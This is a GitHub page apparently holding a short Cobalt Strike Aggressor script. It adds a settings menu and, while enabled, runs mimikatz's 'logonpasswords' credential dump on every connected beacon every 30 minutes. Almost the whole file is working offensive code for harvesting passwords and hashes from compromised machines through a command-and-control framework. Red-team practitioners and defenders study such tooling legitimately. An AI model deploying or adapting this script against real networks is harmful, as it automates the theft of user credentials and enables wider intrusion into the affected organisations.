-
Notifications
You must be signed in to change notification settings - Fork 12
/
Copy pathmimikatz30min
41 lines (28 loc) · 844 Bytes
/
mimikatz30min
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# author: bluescreenofjeff
#runs the mimikatz logonpasswords alias on all beacons
$enabledsetting = 'false';
sub mimikatz-settings {
@bids = $1;
$dialog = dialog("Mimikatz Loop Settings", %(enabled => $enabledsetting), lambda({
$enabledsetting = $3['enabled'];
}));
dialog_description($dialog, "Run mimikatz's 'logonpasswords' command every 30 minutes while enabled.");
drow_checkbox($dialog, "enabled", "Enabled:");
dbutton_action($dialog, "Save");
dialog_show($dialog);
}
on heartbeat_30m {
if ($enabledsetting eq 'true') {
foreach $beacon (beacons()) {
$id = $beacon['id'];
binput($id, "logonpasswords");
blogonpasswords($id);
}
}
}
menubar("Mimikatz Loop", "mimikatz-loop-settings", 2);
popup mimikatz-loop-settings {
item "Configure Settings" {
mimikatz-settings();
}
}